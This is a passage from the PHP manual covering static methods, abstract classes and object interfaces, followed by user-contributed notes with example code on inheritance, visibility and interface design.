STATIC is cool. Here is an example how to get an existing instance as a Singleton:

<?php

class Singleton {

    private static $instance=null;
    private $value=null;

    private function __construct($value) {
        $this->value = $value;
    }

    public static function getInstance() {
        if ( self::$instance == null ) {
            echo "<br>new<br>";
            self::$instance = new Singleton("values");
        }  else {
            echo "<br>old<br>";
        }
        return self::$instance;
    }

}

$x = Singleton::getInstance();
var_dump($x); // returns the new object
$y = Singleton::getInstance();
var_dump($y); // returns the existing object
?>

ckj
dmintz at davidmintz dot org 09-Nov-2004 03:20
[Editor's Note: This is done for back compatability. Depending on your error level, An E_STRICT error will be thrown.]

PHP 5.0.1 doesn't seem to mind if you call a static method in a non-static context, though it might not be the best of style to do so.

On the other hand, PHP complains if you try to try to call a non-static method in a static context (if your error reporting is cranked up to E_STRICT).

class Test {

    static function static_method() {
        echo "Here's your static method: Foo!<br />\n";
    }
    function static_method_caller() {
        echo "static_method_caller says:  ";$this->static_method();
    }
    function non_static() {
        echo "I am not a static method<br />\n";
    }

}

$t = new Test();
$t->static_method();
$t->static_method_caller();
Test::non_static();
Scope Resolution Operator (::)
Class Abstraction
Classes and Objects


Class Abstraction

PHP 5 introduces abstract classes and methods. Classes defined as abstract may not be instantiated, and any class that contains at least one abstract method must also be abstract. Methods defined as abstract simply declare the method's signature - they cannot define the implementation.

When inheriting from an abstract class, all methods marked abstract in the parent's class declaration must be defined by the child; additionally, these methods must be defined with the same (or a less restricted) visibility. For example, if the abstract method is defined as protected, the function implementation must be defined as either protected or public, but not private. Furthermore the signatures of the methods must match, i.e. the type hints and the number of required arguments must be the same. This also applies to constructors as of PHP 5.4. Before 5.4 constructor signatures could differ.

Example #1 Abstract class example

<?php
abstract class AbstractClass
{
    // Force Extending class to define this method
    abstract protected function getValue();
    abstract protected function prefixValue($prefix);

    // Common method
    public function printOut() {
        print $this->getValue() . "\n";
    }
}

class ConcreteClass1 extends AbstractClass
{
    protected function getValue() {
        return "ConcreteClass1";
    }

    public function prefixValue($prefix) {
        return "{$prefix}ConcreteClass1";
    }
}

class ConcreteClass2 extends AbstractClass
{
    public function getValue() {
        return "ConcreteClass2";
    }

    public function prefixValue($prefix) {
        return "{$prefix}ConcreteClass2";
    }
}

$class1 = new ConcreteClass1;
$class1->printOut();
echo $class1->prefixValue('FOO_') ."\n";

$class2 = new ConcreteClass2;
$class2->printOut();
echo $class2->prefixValue('FOO_') ."\n";
?>

The above example will output:

ConcreteClass1
FOO_ConcreteClass1
ConcreteClass2
FOO_ConcreteClass2

Old code that has no user-defined classes or functions named 'abstract' should run without modifications.

User Contributed Notes

oliver at ananit dot de 27-Nov-2011 08:07
Abstract classes may have an final constructor, and sometime it makes sense to implement a class with a final constructor.

<?php
abstract class AbstractModel
{
    //our models must use the default constuctor
        public final function __construct(){}
    public function inject($array){
        foreach(array_keys(get_class_vars(get_called_class()))  as $property){
            $this->$property = $array[$property];
        }
    }
}

class ProductModel extends AbstractModel
{
    public $name;
    public $price;
    protected $id;

    public function getId(){return $this->id;}
}

class Factory{
    private $dataSource;
    public function __consruct($dataSource){
        $this->dataSource = $dataSource;
    }

    public function get($class, $table, $filter, $orderby, $limit){
        $result = array();
        foreach($datasource->fetchAssoc($table, $filter, $orderby, $limit) as $rawData){
            $obj = new $class();//this can only work if ALL models have a default constructor
            $obj->inject($rawData);
            $result[] = $obj;
        }
        return $result;
    }
}
?>

Note: This is a very simple example, and I am aware that there are other (better) ways to do this.
Oliver Anan
darkmantis at cybershade dot org 13-Oct-2011 09:25
This may be irrelevant to you, but I just had an idea about ‘abstract’ classes and the ‘final’ keyword. If you declare a class as abstract and the constructor of that class as final, then the extending class will not work:

<?php
abstract class newClass{
    final public function __construct(){
        echo 'You failed xD';
    }
}

class MyClass extends newClass{
    public function __construct(){
        echo 'Will this work?';
    }

    public static function myFunc(){
        echo 'FooBar';
    }
}

$init = new MyClass();
$init::myFunc();
?>

And that will return :
Fatal error: Cannot override final method newClass::__construct() in C:\wamp\Projects\BMPortal\public_html\newPHPClass.php on line 16
joelhy 31-May-2011 07:27
The documentation says: "It is not allowed to create an instance of a class that has been defined as abstract.". It only means you cannot initialize an object from an abstract class. Invoking static method of abstract class is still feasible. For example:
<?php
abstract class Foo
{
    static function bar()
    {
        echo "test\n";
    }
}

Foo::bar();
?>
Adrian N 02-May-2011 04:10
By their nature, although sometimes they may look quite similar, abstract classes and class interfaces serve very distinct purposes.

The interface of a class is meant as a tool for the "user" of that class. An interface is a public presentation for the class, and it should advertise, to anyone considering to use it, what methods and constants are available and accessible from the outside. So, as it name suggests, it always sits between the user and the class implementing it.

On the other hand, an abstract class is a tool aimed at helping the "implementor" of the classes that extend it. It is an infrastructure that can impose restrictions and guidelines about what the concrete classes should look like. From a class design perspective, abstract classes are more architecturally important than interfaces. In this case, the implementor sits between the abstract class and the concrete one, building the latter on top of the former.
a dot tsiaparas at watergate dot gr 26-Mar-2011 03:57
Abstraction and interfaces are two very different tools. The are as close as hammers and drills. Abstract classes may have implemented methods, whereas interfaces have no implementation in themselves.

Abstract classes that declare all their methods as abstract are not interfaces with different names. One can implement multiple interfaces, but not extend multiple classes (or abstract classes).

The use of abstraction vs interfaces is problem specific and the choice is made during the design of software, not its implementation. In the same project you may as well offer an interface and a base (probably abstract) class as a reference that implements the interface. Why would you do that?

Let us assume that we want to build a system that calls different services, which in turn have actions. Normally, we could offer a method called execute that accepts the name of the action as a parameter and executes the action.

We want to make sure that classes can actually define their own ways of executing actions. So we create an interface IService that has the execute method. Well, in most of your cases, you will be copying and pasting the exact same code for execute.

We can create a reference implemention for a class named Service and implement the execute method. So, no more copying and pasting for your other classes! But what if you want to extend MySLLi?? You can implement the interface (copy-paste probably), and there you are, again with a service. Abstraction can be included in the class for initialisation code, which cannot be predefined for every class that you will write.

Hope this is not too mind-boggling and helps someone. Cheers,
Alexios Tsiaparas
designbyjeeba at gmail dot com 26-Dec-2010 06:29
Please be aware of the visibility of the parent fields. If the fields are private, then you are not going to see those fields in their childrens. Its basic OOP, but can be problematic sometimes.
bishop 28-Jul-2010 10:36
Incidentally, abstract classes do not need to be base classes:

<?php
class Foo {
    public function sneeze() { echo 'achoooo'; }
}

abstract class Bar extends Foo {
    public abstract function hiccup();
}

class Baz extends Bar {
    public function hiccup() { echo 'hiccup!'; }
}

$baz = new Baz();
$baz->sneeze();
$baz->hiccup();
?>
mbajoras at gmail dot com 31-Dec-2009 11:59
Here's an example that helped me with understanding abstract classes. It's just a very simple way of explaining it (in my opinion). Lets say we have the following code:

<?php
class Fruit {
    private $color;

    public function eat() {
        //chew
    }

    public function setColor($c) {
        $this->color = $c;
    }
}

class Apple extends Fruit {
    public function eat() {
        //chew until core
    }
}

class Orange extends Fruit {
    public function eat() {
        //peel
        //chew
    }
}
?>

Now I give you an apple and you eat it.

<?php
$apple = new Apple();
$apple->eat();
?>

What does it taste like? It tastes like an apple. Now I give you a fruit.

<?php
$fruit = new Fruit();
$fruit->eat();
?>

What does that taste like??? Well, it doesn't make much sense, so you shouldn't be able to do that. This is accomplished by making the Fruit class abstract as well as the eat method inside of it.

<?php
abstract class Fruit {
    private $color;

    abstract public function eat();

    public function setColor($c) {
        $this->color = $c;
    }
}
?>

Now just think about a Database class where MySQL and PostgreSQL extend it. Also, a note. An abstract class is just like an interface, but you can define methods in an abstract class whereas in an interface they are all abstract.
nathan dot vorbei dot tech at gmail dot com 16-Nov-2009 10:55
"additionally, these methods must be defined with the same (or a less restricted) visibility."

The words were not restricted in abstract class but also normal classes,
the method in child Class which overwrites the parent Class can also change the the visibility of the method to same or less restricted.
for example:
<?php
class ClassOne {
    protected static $staticone = 'nathan';
    protected function changestaticone() {
        return self::$staticone = 'john';
    }
}

class ClassTwo extends ClassOne {
    public function changestaticone() {
        return self::$staticone = 'Alexey';
    }
}
$classtwo = new ClassTwo();
echo $classtwo->changestaticone();
pete at surfaceeffect dot com 13-Oct-2009 02:49
One fairly important difference between php's abstract functions and, say, Java, is that php does not specify the return type in any way - or indeed whether there has to be one.

<?php public abstract function square($number); ?>

could be implemented by...

<?php
public function square($number) {
   return $number*$number;
}
?>

or

<?php
public function square($number) {
   print ($number*$number);
}
?>

So you need to take care that incompatibilities don't arise due to not returning the right kind of value and this is not enforced in any way.
Cheese Doodle 22-Sep-2009 04:13
There isn't really that much of a great hurdle in understanding these things, there really isn't.

If you're defining a new class that is abstract, it means that you can make some non-abstract functions that you can use to define the general underlying behavior of that class along side abstract ones.

In interfaces, you can't do that since functions defined therewithin cannot have a body.

Abstract functions you use for classes that must define more specific behavior when "extending" your class.

So for a crude example - define by your non-abstract functions how that particular object (which may be part of a larger class hierarchy) would store and process it's data in SQL, XML, etc.

Then define abstract functions which allow someone implementing that class to specifically manipulate the data that is to be stored. Then require a format which this data must be returned in, and then in your non-abstract functions call those functions on destruction, in normal runtime, and so on.

Again, non-abstract functions, or even another class could implement the finer points of ensuring that data is in the correct format, and so on, ad infinitum.

It isn't too much of a reach to say that if you used a normal class instead of an abstract class, then there isn't much intrinsic requirement between the two classes.

Assuming that you wanted the functions to use each-others functions and you'd need to use them specifically by name, you'd have to write some code which checked to see -- lamely using function_exists() and other lamery -- if that class has the function you require for interoperability, when you could avoid all possible confusion and headaches by simply using the right tool for the job.

And reading a decent OOP book.
Kiam 01-Aug-2009 12:04
The person - student - employee is the classic example where the interfaces are more appropriate.
It is true that students, and employees are persons, but a person can be both a student, and an employee.

<?php
class Person {
  // Properties for Person objects.
}

interface IStudent {
  // ...
}

interface IEmployee {
  // ...
}

class Student implements IStudent extends Person {
  // ...
}

class StudentEmployee implements IStudent, IEmployee extends Person {
  // ...
}
?>
eeescalona 02-Jun-2008 09:04
here is a real world example of abstract using:

a (abstract) person class
a student and an employee final class, which extends person class.

simple theory is that both student and employee is an extension of the person class.  the difference lies on which table the data is written on, and what other pre processing (ie mandatory field checking, type checking, etc.) needed before writing each of the classes.

codes:

<?php

abstract class person {

    abstract protected function write_info();

    public $LastName;
    public $FirstName;
    public $BirthDate;

    public function get_Age($today=NULL){
        //age computation function
    }
}

final class employee extends person{
    public $EmployeeNumber;
    public $DateHired;

    public function write_info(){
        echo "Writing ". $this->LastName . "'s info to emloyee dbase table";
        //ADD unique mandatory checking unique to EMPLOYEE ONLY
        //actual sql codes here
    }
}

final class student extends person{
    public $StudentNumber;
    public $CourseName;

    public function write_info(){
        echo "Writing ". $this->LastName . "'s info to student dbase table";
        //ADD unique mandatory checking unique to STUDENT ONLY
        //actual sql codes here
    }
}

///----------
$personA = new employee;
$personB = new student;

$personA->FirstName="Joe";
$personA->LastName="Sbody";

$personB->FirstName="Ben";
$personB->LastName="Dover";

$personA->write_info();
?>

OUTPUT:Writing Sbody's info to emloyee dbase table
keithjfrank at gmail dot com 13-May-2008 01:19
While building my database class, I came across something I didn't see any documentation on...

abstract class db
{
    abstract protected function prepareSelect();
}

class dbPlugin extends db
{
    /**
     *    Prepare Select
     *    Populates $this->currentQuery with MySQL formatted SELECT query.
     *
     *    @param    string    Fields to retrieve
     *    @param    string    Table from which fields will be selected
     *    @param    string    Optional WHERE restriction
    **/
    protected function prepareSelect( $fields, $table, $where = NULL )
    {
        $this->currentQuery .= "SELECT {$fields} FROM {$this->dbSettings['sqlPrefix']}{$table}";

        if ( $where !== NULL )
        {
            $this->currentQuery .= " WHERE {$where}";
        }
    }

}

While executing the script I was greeted with: Fatal error:  Declaration of dbPlugin::prepareSelect() must be compatible with that of db::prepareSelect() in [...]\includes\plugins\dbMySQL.php on line 209

The fix? Adding the same expected variables to the parent abstract method.

abstract class db
{
    abstract protected function prepareSelect( $fields, $table, $where );
}

I am unsure as to whether this is common knowledge or not, but I figured I would share to ease someone else's frustration while figuring out what was going awry. :)
ironiridis at gmail dot com 27-Mar-2008 01:56
Just one more time, in the simplest terms possible:

An Interface is like a protocol. It doesn't designate the behavior of the object; it designates how your code tells that object to act. An interface would be like the English Language: defining an interface defines how your code communicates with any object implementing that interface.

An interface is always an agreement or a promise. When a class says "I implement interface Y", it is saying "I promise to have the same public methods that any object with interface Y has".

On the other hand, an Abstract Class is like a partially built class. It is much like a document with blanks to fill in. It might be using English, but that isn't as important as the fact that some of the document is already written.

An abstract class is the foundation for another object. When a class says "I extend abstract class Y", it is saying "I use some methods or properties already defined in this other class named Y".

So, consider the following PHP:
<?php
class X implements Y { } // this is saying that "X" agrees to speak language "Y" with your code.

class X extends Y { } // this is saying that "X" is going to complete the partial class "Y".
?>

You would have your class implement a particular interface if you were distributing a class to be used by other people. The interface is an agreement to have a specific set of public methods for your class.

You would have your class extend an abstract class if you (or someone else) wrote a class that already had some methods written that you want to use in your new class.

These concepts, while easy to confuse, are specifically different and distinct. For all intents and purposes, if you're the only user of any of your classes, you don't need to implement interfaces.
sneakyimp at hotmail dot com 09-Oct-2007 05:05
Ok...the docs are a bit vague when it comes to an abstract class extending another abstract class.  An abstract class that extends another abstract class doesn't need to define the abstract methods from the parent class.  In other words, this causes an error:

<?php
abstract class class1 {
  abstract public function someFunc();
}
abstract class class2 extends class1 {
  abstract public function someFunc();
}
?>

Error: Fatal error: Can't inherit abstract function class1::someFunc() (previously declared abstract in class2) in /home/sneakyimp/public/chump.php on line 7

However this does not:

<?php
abstract class class1 {
  abstract public function someFunc();
}
abstract class class2 extends class1 {
}
?>

An abstract class that extends an abstract class can pass the buck to its child classes when it comes to implementing the abstract methods of its parent abstract class.
eamon at gizzle dot co dot uk Eamon Straughn 20-Jul-2007 04:20
Sometimes I wonder. PHP needs to be pushed to its limits and below everyone fails to understand what an interface is and what abstraction is. So let me make it extremely clear as I have many languages under my belt.

Interfaces are in general WYSIWYG implementations of logic which in PHP are not accessible like in other languages like Java \ ASP.NET where you don't have to access the class itself...however in future I hope PHP does give us this functionality. Interfaces in PHP only define public functions without any basic or core functionality therefore making it lesser a friend to PROs from OOP && OOD backgrounds.

Instead Abstraction in PHP is perfered as this allows your objects a core with the ability to define different levels of access to methods | variables | constants. Although publicly allowing access to variables (to me) | (to official \ senior programmers) defeats the whole idea of OO. Abstraction allows the keywords of final which is very important to me as I can have many child objects of objects and of child objects.

Thus knowing the difference helps with your choosen style but if your really looking to make an application with Abstraction I would always suggest using an Abstract Class instead of Interfaces as Interfaces are limited and provides no functionality and is a waste of bytes on your hard drive.

The below is an example of Abstraction used in an automated system.

<?php
Abstract Class events
{
    protected $priority;
    protected $message;
    protected $environment;
    protected $syslog;
    protected $config;
    protected $global;
    protected $classes;
    protected $super;

  public function __construct(array &$config)
    {
        $this->config = $config;
    }

    abstract protected function writeToDatabase(Environment &$environment);
    abstract protected function writeToSystem(Environment &$environment);
    abstract protected function writeToEmail(Environment &$environment);
    abstract protected function writeToMobile(Environment &$environment);
    abstract public function execute(&$class, $method, $args);

    protected function environment(Exception &$object) {
        $this->super =& new Environment($object, $this->config);
        $this->global = $this->super->env();
        $this->global = $this->global['environment'];
        return $this->super;
    }

  public function __destruct()
  {
        unset($this);
  }
}
?>
pierre at pamdata dot com 25-Jun-2007 06:25
I love examples.
This example will let you see that an Interface and an Astract Class are two different entities.

Just go and read the Object Interface section at :
http://www.php.net/manual/en/language.oop5.interfaces.php

and look at this example

<?php
/*
* A Very simple example to understand why we should use ABSRACT CLASSES.
* This abstract class contains  2 methods : 1 abstract and 1 common methods.
*
*/
abstract class Shape
{
    # Let's assume a shape will always have a base and a height
    protected  $base;
    protected $height;

    #This function can be the same for both classes  'Triangle' and 'Rectangle'
    public function getValue($base,$height)
    {
        $this->base = $base;
        $this->height = $height;
    }

    # This might be different for each class of shape, because each Surface is calculated by a different formula ( St = b*h/2  and  Sr = b*h)
    abstract public function surface();
}

class Triangle extends Shape
{
    # s = b*h/2
    public function surface(){
        return round((($this->base)*($this->height)/2),2);
    }
}

class Rectangle extends Shape
{
    # s = b*h
    public function surface(){
        return round((($this->base)*($this->height)),2);
    }
}

$r = new Rectangle();
$r->getValue(15,3);
echo $r->surface() ."\n";   # echo 45

$t = new Triangle();
$t->getValue(15,3);
echo $t->surface() ."\n";   # echo 22.5

?>
joebert 24-Jun-2007 04:09
I don't agree with jfkallens' last comparison between Abstract Classes & Object Interfaces completely.

In an Abstract Class, you can define how some methods work, where as in an Object Interface you can not.

An Object Interface is essentually nothing but a list of function names that a class must define if the class implements that interface.

An Abstract Class is essentually a prototype which hints towards what extending classes should be doing.
An Abstract Class can also be thought of as a Base Class that provides some basic functionality, & also defines a built-in Object Interface that all extending classes will implement.

So, an Object Interface is really a built-in part of an Abstract Class.
david at mr-t dot nl 25-Jul-2006 08:27
It took me a while to figure this out and i couldn't find it easily in the documentation anywhere.

If you want to override a method from a base class and want to call the base class in the method, then you have to use the parent::function() syntax, even though the method isn't static. There is no $base variable in php that i know of.

Expamle:
<?php
public abstract class BasePerson() {
  /*
   * alot of code..
   */
  public function getName() {
    return $this->name;
  }
}

public class Person() extends BasePerson {
  /*
   * alot of code..
   */
  // override of base getName()..
  public function getName() {
    // you would expect $base->getName() instead of parrent::getName()...
    return htmlspecialchars(parent::getName());
  }
}
?>

Hope this helps!
rasto_klc (at) yahoo (dot) obvious 28-Dec-2005 01:27
Variable-length argument lists in abstract methods will generate fatal error if derived. Here is an simple example:

<?php
// common wrap for all validators is forcing uniform interface
abstract class ValidatorWrap {

    // just example why variable-length arguments are needed
    public function __construct()
    {
        if (func_num_args() > 0) {
            $arg_list = func_get_args();
            call_user_func_array(array(&$this, 'setupValidator'), $arg_list);
        } else {
            $this->setupValidator();
        }
        // continue with construction
    }

    // amount of arguments is specific to validator implementation
    abstract public function setupValidator();

    // known interface
    abstract public function validate($value);
}

class Validator1 extends ValidatorWrap {

    protected $pattern = '';

    // this will generate PHP Fatal error because $pattern is not expected
    public function setupValidator($pattern)
    {
        $this->pattern = $pattern;
    }

    // this will do OK
    public function validate($value)
    {
        return preg_match($this->pattern, $value);
    }
}

// make numeric validator
$validator = new Validator1('/^\d+$/');
echo (int) $validator->validate($_REQUEST['digits']);
?>

I need it to work so I just redefine troublemaking function as follows:

<?php
    public function setupValidator() { }
?>

This will give me functionality I need and generates only PHP Strict Standards warning.
turgut85 at hotmail dot com 02-Dec-2005 09:38
<?php

// Design Pattern ABSTRACT FACTORY  implementation //

abstract class AbstractFactory {
    public abstract function CreateProductA();  // return data type is AbstractProductA
    public abstract function CreateProductB();  // return data type is AbstractProductB
}

// Abstract factory #1 //
class ConcreteFactory1 extends AbstractFactory {

    public function CreateProductA() { // return data type is AbstractProductA
        return new ProductA1();
    }

    public function CreateProductB() { // return data type is AbstractProductB
        return new ProductB1();
    }
}

// Abstract factory #2 //
class ConcreteFactory2 extends AbstractFactory {

    public function CreateProductA() { // return data type is AbstractProductA //
        return new ProductA2();
    }

    public function CreateProductB() { // return data type is AbstractProductB //
        return new ProductB2();
    }
}

// "AbstractProductA" //
abstract class AbstractProductA {
}

// "AbstractProductB" //
abstract class AbstractProductB {
    public abstract function Interact($a); // return type is void // // input type is  AbstractProductA
}

// "ProductA1" //
class ProductA1 extends  AbstractProductA {
}

// "ProductB1" //
class ProductB1 extends  AbstractProductB {

    public function Interact($a) {
        echo __CLASS__." interacts with ".__METHOD__."\n";
        var_dump($a);
    }
}

// "ProductA2"
class ProductA2 extends AbstractProductA {
}

// "ProductB2"
class ProductB2 extends AbstractProductB {
    public function Interact($a) {
        echo __CLASS__." interacts with ".__METHOD__."\n";
        var_dump($a);
    }
}

class Client {

    private  $AbstractProductA;                            // type AbstractProductA;
    private  $AbstractProductB;                            // type AbstractProductB;

    // Constructor
    public function __construct($factory) {
        $this->AbstractProductB = $factory->CreateProductB();
        $this->AbstractProductA = $factory->CreateProductA();
    }

    public function Run() {
        $this->AbstractProductB->Interact($this->AbstractProductA);
    }
}

// Abstract factory #1
$factory1 = new ConcreteFactory1();
$c1 = new Client($factory1);
$c1->Run();

// Abstract factory #2
$factory2 = new ConcreteFactory2();
$c2 = new Client($factory2);
$c2->Run();

// TURGUT Z. YESILYURT, MS
// Software Developer
// NewJersey, USA

?>
Output::

ProductB1 interacts with ProductB1::Interact
object(ProductA1)#4 (0) {
}
ProductB2 interacts with ProductB2::Interact
object(ProductA2)#8 (0) {
}
Static Keyword
Object Interfaces
Classes and Objects


Object Interfaces

Object interfaces allow you to create code which specifies which methods a class must implement, without having to define how these methods are handled.

Interfaces are defined using the interface keyword, in the same way as a standard class, but without any of the methods having their contents defined.

All methods declared in an interface must be public, this is the nature of an interface.

implements

To implement an interface, the implements operator is used. All methods in the interface must be implemented within a class; failure to do so will result in a fatal error. Classes may implement more than one interface if desired by separating each interface with a comma.

Note:

A class cannot implement two interfaces that share function names, since it would cause ambiguity.

Note:

Interfaces can be extended like classes using the extends operator.

Note:

The class implementing the interface must use the exact same method signatures as are defined in the interface. Not doing so will result in a fatal error.

Constants

Its possible for interfaces to have constants. Interface constants works exactly like class constants except they cannot be overridden by a class/interface that inherits it.

Examples

Example #1 Interface example

<?php

// Declare the interface 'iTemplate'
interface iTemplate
{
    public function setVariable($name, $var);
    public function getHtml($template);
}

// Implement the interface
// This will work
class Template implements iTemplate
{
    private $vars = array();

    public function setVariable($name, $var)
    {
        $this->vars[$name] = $var;
    }

    public function getHtml($template)
    {
        foreach($this->vars as $name => $value) {
            $template = str_replace('{' . $name . '}', $value, $template);
        }

        return $template;
    }
}

// This will not work
// Fatal error: Class BadTemplate contains 1 abstract methods
// and must therefore be declared abstract (iTemplate::getHtml)
class BadTemplate implements iTemplate
{
    private $vars = array();

    public function setVariable($name, $var)
    {
        $this->vars[$name] = $var;
    }
}
?>

Example #2 Extendable Interfaces

<?php
interface a
{
    public function foo();
}

interface b extends a
{
    public function baz(Baz $baz);
}

// This will work
class c implements b
{
    public function foo()
    {
    }

    public function baz(Baz $baz)
    {
    }
}

// This will not work and result in a fatal error
class d implements b
{
    public function foo()
    {
    }

    public function baz(Foo $foo)
    {
    }
}
?>

Example #3 Multiple interface inheritance

<?php
interface a
{
    public function foo();
}

interface b
{
    public function bar();
}

interface c extends a, b
{
    public function baz();
}

class d implements c
{
    public function foo()
    {
    }

    public function bar()
    {
    }

    public function baz()
    {
    }
}
?>

Example #4 Interfaces with constants

<?php
interface a
{
    const b = 'Interface constant';
}

// Prints: Interface constant
echo a::b;

// This will however not work because its not allowed to
// override constants.
class b implements a
{
    const b = 'Class constant';
}
?>

An interface, together with type-hinting, provides a good way to make sure that a particular object contains particular methods. See instanceof operator and type hinting.

User Contributed Notes

julien arobase fastre point info 12-Dec-2011 11:12
If you use namespaces and autoloading, do not forget to mention the use statement for each class used in yours arguments, before your class:

<?php
#file : fruit/squeezable.php
namespace fruit
use Bar\Foo;

interface squeezable {
  public function squeeze (Foo $foo);
}
?>

<?php
#file: orange

namespace fruit\citrus;

class orange {
  public function squeeze(Foo $foo);
}
#Will throw an exception Fatal error: Declaration of "fruit\citrus\orange::squeeze must be compatible with that of fruit\squeezable() in fruit/squeezable.php
?>

<?php
#file: orange

namespace fruit\citrus;
use Bar\Foo; #DO NOT FORGET THIS!

class orange {
  public function squeeze (Foo $foo);
}
#Will be correct
?>
FX Laviron 25-Oct-2011 09:12
The error "Can't inherit abstract function IB::f() (previously declared abstract in IA)" in the following code
<?php

interface IA {     public function f(); }

interface IB {     public function f(); }

class Test implements IA, IB {
    public  function f() {
        echo "f";
    }
}
$o = new Test();
$o->f();
?>

can be avoided (if appropriate) by adding a ancestor interface to IA and IB, and moving the common method to it:

<?php

interface IAncestor {     public function f(); }

interface IA {   }

interface IB extends IAncestor {   }

class Test implements IA, IB {
    public  function f() {
        echo "f";
    }
}
$o = new Test();
$o->f();
?>
ppp 26-Apr-2011 09:27
A class can implement multiple comma-separated interfaces:

<?php
interface A { function a(); }
interface B { function b(); }

class C implements A, B {
    function a() { echo "a\n"; }
    function b() { echo "b\n"; }
}
?>
thanhn2001 at gmail dot com 03-Mar-2011 01:37
PHP prevents interface a contant to be overridden by a class/interface that DIRECTLY inherits it.  However, further inheritance allows it.  That means that interface constants are not final as mentioned in a previous comment.  Is this a bug or a feature?

<?php

interface a
{
    const b = 'Interface constant';
}

// Prints: Interface constant
echo a::b;

class b implements a
{
}

// This works!!!
class c extends b
{
    const b = 'Class constant';
}

echo c::b;
?>
jballard at natoga dot com 06-Jan-2011 01:33
If it isn't already obvious, you can create an object of a class above the class declaration if it does NOT implement an interface. However, when a class DOES implement an interface, PHP will throw a "class not found" error unless the instantiation declaration is _below_ the class definition.

<?php
$bar = new foo(); // Valid

class foo
{

}
?>

<?php
$bar = new foo(); // Invalid - throws fatal error

interface foo2
{

}

class bar implements foo2
{

}

$bar = new foo(); // Valid, since it is below the class declaration

?>

Also, @Jeffrey -- Lol? What? Is that a joke? PHP interfaces have nothing to do with connecting to "peripheral devices" or "cameras", etc. Not even in the least sense. This is a very common miscommunication with the word "interface", as interfaces in programming are not at all like interfaces in electronics or drivers, etc.
gratcypalma at gmail dot com 19-Nov-2010 11:07
here is my simply method muliple inheritence with __construct function..
<?php
class foo {
    protected $mam = 'mamam';
    function __construct() {
        echo 'foo';
    }
}
class bar extends foo {
    function __construct() {
        parent:: __construct();
        echo 'bar';
    }
}
class foobar extends bar {
    function __construct() {
        parent:: __construct();
        echo 'foobar';
    }
}

$foo = new foobar();
?>
Anonymous 13-Aug-2010 12:44
If you want to ensure implementation classes are correctly initialised (i.e. due to trickery one needs to do to work around lack of multiple inheritance), simply add  __construct() to your interface, so risk of init being forgotten is reduced.
drieick at hotmail dot com 23-Feb-2010 09:29
I was wondering if implementing interfaces will take into account inheritance. That is, can inherited methods be used to follow an interface's structure?

<?php

interface Auxiliary_Platform {
    public function Weapon();
    public function Health();
    public function Shields();
}

class T805 implements Auxiliary_Platform {
    public function Weapon() {
        var_dump(__CLASS__);
    }
    public function Health() {
        var_dump(__CLASS__ . "::" . __FUNCTION__);
    }
    public function Shields() {
        var_dump(__CLASS__ . "->" . __FUNCTION__);
    }
}

class T806 extends T805 implements Auxiliary_Platform {
    public function Weapon() {
        var_dump(__CLASS__);
    }
    public function Shields() {
        var_dump(__CLASS__ . "->" . __FUNCTION__);
    }
}

$T805 = new T805();
$T805->Weapon();
$T805->Health();
$T805->Shields();

echo "<hr />";

$T806 = new T806();
$T806->Weapon();
$T806->Health();
$T806->Shields();

/* Output:
string(4) "T805"
string(12) "T805::Health"
string(13) "T805->Shields"
<hr />string(4) "T806"
string(12) "T805::Health"
string(13) "T806->Shields"
*/

?>

Class T805 implements the interface Auxiliary_Platform. T806 does the same thing, but the method Health() is inherited from T805 (not the exact case, but you get the idea). PHP seems to be fine with this and everything still works fine. Do note that the rules for class inheritance doesn't change in this scenario.

If the code were to be the same, but instead T805 (or T806) DOES NOT implement Auxiliary_Platform, then it'll still work. Since T805 already follows the interface, everything that inherits T805 will also be valid. I would be careful about that. Personally, I don't consider this a bug.

This seems to work in PHP5.2.9-2, PHP5.3 and PHP5.3.1 (my current versions).

We could also do the opposite:

<?php

class T805 {
    public function Weapon() {
        var_dump(__CLASS__);
    }
}

class T806 extends T805 implements Auxiliary_Platform {
    public function Health() {
        var_dump(__CLASS__ . "::" . __FUNCTION__);
    }
    public function Shields() {
        var_dump(__CLASS__ . "->" . __FUNCTION__);
    }
}

$T805 = new T805();
$T805->Weapon();

echo "<hr />";

$T806 = new T806();
$T806->Weapon();
$T806->Health();
$T806->Shields();

/* Output:
string(4) "T805"
<hr />string(4) "T805"
string(12) "T806::Health"
string(13) "T806->Shields"
*/

?>

This works as well, but the output is different. I'd be careful with this.
uramihsayibok, gmail, com 10-Feb-2010 11:25
Interfaces can define static methods, but note that this won't make sense as you'll be using the class name and not polymorphism.

...Unless you have PHP 5.3 which supports late static binding:

<?php

interface IDoSomething {
    public static function doSomething();
}

class One implements IDoSomething {
    public static function doSomething() {
        echo "One is doing something\n";
    }
}

class Two extends One {
    public static function doSomething() {
        echo "Two is doing something\n";
    }
}

function example(IDoSomething $doer) {
    $doer::doSomething(); // "unexpected ::" in PHP 5.2
}

example(new One()); // One is doing something
example(new Two()); // Two is doing something

?>

If you have PHP 5.2 you can still declare static methods in interfaces. While you won't be able to call them via LSB, the "implements IDoSomething" can serve as a hint/reminder to other developers by saying "this class has a ::doSomething() method".
Besides, you'll be upgrading to 5.3 soon, right? Right?

(Heh. I just realized: "I do something". Unintentional, I swear!)
btjakachira at gmail dot com 11-Jan-2010 01:52
I'm going to give a very simple explanation between interface and any abstract. I'm not going to repeat basic stuff mentioned above e.g you can not instantiate an interface or an abstract. Any class with an abstract method should be declared as abstract.. etc.

Example.
I will show you where and when to use interfaces. Normally people will use interface when absctracting becomes a problem. Lets say we start with the following objects

<?php

Person

Employee
Employer
Criminal
Rapist
President
Student
?>

You will easily see that Employee is a Person, Criminal is a person etc.. Therefore we can have Person as a PARENT class. For person to be abstract, you decide within your application if a person object makes sense... if it doesn't make the person an abstract so that you wont have alien objects.

Now, interfaces are used when, in a group of objects, you have two or more objects that share similar behaviour. E.g President and Employer will makePolicy() while Criminal and Rapist will commitCrime(). Having said that, normally people would put these methods in their respective classes (but defeating the OO designs). If you put makePolicy() in President and Employer class there will be duplication of code. Other people can be tempted to put thet makePolicy() and commitCrime() in Person as abstract methods so that the 6 objects will see the methods. Its not a good idea as Student or Employee will not normally makePolicy() or commitCrime(). In fact, it means Employee object can makePolicy() of increasind salary :-) . Therefore in this case we use INTERFACES

<?php
 interface HighOffice {
   public function makePolicy();
   public function declareEmergency();
}

 interface jailable {
   public function commitCrime();
   public function appeal();
}

abstract class Person {
  public function getAge()
  {
    return "28years";
  }
}

public class Employee extend Person {
 //do stuff for employee
}

public class Criminal extend Person impliments jailable{
 //do stuff for a criminal.

 //these must be present.
  public function commitCrime()
  {

  }
  public function appeal()
  {
  }

public class President extend Person impliments HighOffice
{

  //do other stuff for President

  //then a President should make policies and declare emergency
